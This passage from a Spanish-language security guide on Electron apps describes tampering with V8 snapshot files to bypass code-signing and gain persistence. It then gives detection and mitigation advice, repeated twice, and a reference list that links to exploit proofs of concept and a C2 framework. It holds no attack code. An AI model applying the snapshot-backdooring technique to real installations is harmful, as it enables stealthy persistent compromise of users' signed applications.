- Bypass de integridad/firmas: Los archivos snapshot no son tratados como ejecutables nativos por las comprobaciones de code-signing y (históricamente) no estaban cubiertos por los fuses de Electron ni por los controles de integridad de Chromium.
- Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario normalmente sobrevive a reinicios de la app y parece una aplicación legítima y firmada.
- Chromium browsers: El mismo concepto de manipulación aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.
Detección y mitigaciones
- Tratar los snapshots como contenido ejecutable e incluirlos en la aplicación de políticas de integridad (CVE-2025-55305 fix).
- Preferir ubicaciones de instalación solo escribibles por admin; establecer línea base y monitorizar hashes de `v8_context_snapshot.bin` y `browser_v8_context_snapshot.bin`.
- Detectar la sobrescritura de builtins en fases tempranas del runtime y cambios inesperados en snapshots; alertar cuando los snapshots deserializados no coincidan con los valores esperados.
Detection and mitigations
- Trata los snapshots como contenido ejecutable e inclúyelos en la aplicación de integridad (fix CVE-2025-55305).
- Prefiere ubicaciones de instalación que solo sean escribibles por admin; establece una línea base y monitoriza los hashes de v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
- Detecta la sobrescritura temprana de funciones integradas y cambios inesperados en snapshots; alerta cuando los snapshots deserializados no coincidan con los valores esperados.
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -549,7 +576,6 @@ Detección y mitigaciones
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)